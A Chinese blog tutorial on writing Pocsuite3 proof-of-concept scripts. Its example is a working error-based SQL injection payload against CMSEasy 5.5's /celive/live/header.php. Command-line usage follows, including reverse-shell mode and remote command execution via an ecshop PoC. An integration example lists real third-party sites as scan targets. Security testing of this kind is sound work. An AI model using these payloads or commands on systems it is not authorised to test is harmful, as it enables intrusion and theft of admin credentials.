使用Pocsuite3

简介和安装
在此框架下,有编写其POC的指定规则
以CMSEasy5.5的SQL注入漏洞PoC为例

1、首先创建.py文件,命名规则:

PoC命名分成3个部分组成漏洞应用名_版本号_漏洞类型名称 然后把文件名称中的所有字母改成小写,所有的符号改成_. 文件
例子的.py文件名为:_88979_cmseasy_5_5_sql_injection.py

2、PoC如下:
poc参考地址

#导入所写PoC所需要类/文件,尽量不要使用第三方模块。
#迫不得已使用第三方模块有其依赖规则,后面给出。
from pocsuite3.api import Output,POCBase,register_poc,requests
#PoC实现类,继承POCBase
class DemoPoc(POCBase):
	#PoC信息字段,需要完整填写全部下列信息
	vulID = '88979' #漏洞编号,若提交漏洞的同时提交PoC,则写成0
    version = '1'#PoC版本,默认为1
    author = ['blh']#此PoC作者
    vulDate = '2014-11-03'#漏洞公开日期
    createDate = '2020-01-13'#编写PoC日期
    updateDate = '2020-01-13'#更新PoC日期,默认与createDate一样
    references = ['https://www.seebug.org/vuldb/ssvid-88979']#漏洞地址来源,0day不写
    name = 'CMSEasy 5.5 /celive/live/header.php SQL注入漏洞'#PoC名称
    appPowerLink = 'http://www.cmseasy.cn/'#漏洞产商主页
    appName = 'CMSEasy'#漏洞应用名称
    appVersion = '5.5'#漏洞影响版本
    vulType = 'SQL Injection'#漏洞类型
    desc = '''漏洞描述'''#在漏洞描述填写
    samples = []#测试成功网址
    install_requires = []#PoC依赖的第三方模块,尽量不要使用第三方模块,必要时参考后面给出的参考链接
    pocDesc = '''PoC用法描述'''#在PoC用法描述填写
    
 	#编写验证模式
	def  _verify(self):
        #验证代码
        result = {}
        target = self.url + '/celive/live/header.php'
        #此处payload即为post的数据
        payload = {
            'xajax': 'LiveMessage',
            'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat("
                                  "floor(rand(0)*2),(select md5(614)))a from "
                                  "information_schema.tables group by a)b),"
                                  "'','','','1','127.0.0.1','2') #"
        }
        # 使用requests发送post请求
        response = requests.post(target,payload)
        #‘851ddf5058cf22df63d3344ad89919cf’为0614的md5值
        if '851ddf5058cf22df63d3344ad89919cf' in str(response.content):
            result['VerifyInfo']={}
            result['VerifyInfo']['URL'] = target
            result['VerifyInfo']['Postdata'] = payload
        return self.parse_output(result)
	#编写攻击模式,此处直接给到验证模式,读者可以自行写出payload,获取管理员账号密码等信息。
	def _attack(self):
        return self._verify()
	#自定义输出函数,调用框架输出的实例Output
	def parse_output(self,result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

#注册PoC类,这样框架才知道这是PoC类
register_poc(DemoPoc)

更多的规则和自定义函数:参考连接

常用命令调用

常用命令如下:(进入pocsuite3目录下使用)

pocsuite -u http://test.com -r test.py --verify #使用test.py这个PoC去检测http://test.com这个url
pocsuite -u http://test.com -r test.py --verify --shell # shell反连模式
pocsuite -u http://test.com -r ecshop_rce.py --attack --command "whoami" # pocsuite3中自带的ecshop poc中实现了自定义命令`command`,可以从外部参数传递
pocsuite -f url.txt -r test.py --verify #使用test.py这个PoC去检测url.txt文件里所有的url
#应该有个检测多个PoC的,但不知道怎么写命令,希望有师傅告知

例如:(实验中的成功案例是使用上面参考链接中的CMS和phpStudy搭建的环境)

在这里插入图片描述
集成调用

pocsuite3 api 提供了集成pocsuite3的全部功能函数。典型集成调用方法如下:

from pocsuite3.api import init_pocsuite
from pocsuite3.api import start_pocsuite
from pocsuite3.api import get_results
#config中给出三个url和两个PoC
config = {
    'url': {'https://www,baidu.com','https://www.4399.com','http://192.168.246.130/cmsEasy/uploads'},
    'poc': {'E:\python\python3.8.0\Lib\site-packages\pocsuite3\pocs\\thinkphp_rce.py','E:\python\python3.8.0\Lib\site-packages\pocsuite3\pocs\mypoc\_88979_cmseasy_5_5_sql_injection.py'}
}
# config字典的配置和cli命令行参数配置一模一样
init_pocsuite(config)
start_pocsuite()
result = get_results().pop()
print(result)

可以直接用命令行调用此python文件或者在IDE中直接执行。
在这里插入图片描述在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值